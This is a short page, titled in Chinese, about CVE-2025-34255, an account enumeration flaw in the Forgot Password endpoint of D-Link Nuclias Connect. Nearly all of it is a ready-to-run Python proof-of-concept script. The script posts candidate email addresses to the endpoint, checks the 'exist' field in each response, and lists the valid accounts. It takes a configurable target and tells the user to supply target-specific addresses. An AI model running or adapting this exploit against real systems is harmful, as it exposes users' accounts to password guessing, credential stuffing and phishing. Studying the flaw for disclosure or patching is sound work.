CVE-2025-34255：D-Link Nuclias Connect忘记密码账户枚举漏洞

#!/usr/bin/env python3 # CVE-2025-34255 - D-Link Nuclias Connect Account Enumeration PoC # Exploits observable response discrepancy in the Forgot Password endpoint import requests import sys import json TARGET_URL = "https://target-nuclias-connect.example.com" FORGOT_PASSWORD_ENDPOINT = "/api/forgot-password" # Adjust path as needed def check_email_exists(session, email): """ Check if an email address is associated with a valid account by analyzing the response from the Forgot Password endpoint. """ url = f"{TARGET_URL}{FORGOT_PASSWORD_ENDPOINT}" payload = {"email": email} headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = session.post(url, json=payload, headers=headers, timeout=10) data = response.json() # The vulnerability: 'data.exist' differs based on account existence if "data" in data and "exist" in data["data"]: return data["data"]["exist"] return False except Exception as e: print(f"[ERROR] Request failed for {email}: {e}") return None def enumerate_accounts(email_list): """ Enumerate valid accounts from a list of email addresses. """ session = requests.Session() valid_accounts = [] print(f"[*] Starting enumeration against {TARGET_URL}") print(f"[*] Testing {len(email_list)} email addresses...\n") for email in email_list: exists = check_email_exists(session, email) if exists is True: print(f"[+] VALID: {email}") valid_accounts.append(email) elif exists is False: print(f"[-] Invalid: {email}") else: print(f"[?] Error: {email}") print(f"\n[*] Enumeration complete. Found {len(valid_accounts)} valid account(s).") return valid_accounts if __name__ == "__main__": # Example email list - replace with target-specific addresses emails = [ "[email protected]", "[email protected]", "[email protected]", "[email protected]" ] if len(sys.argv) > 1: TARGET_URL = sys.argv[1] enumerate_accounts(emails)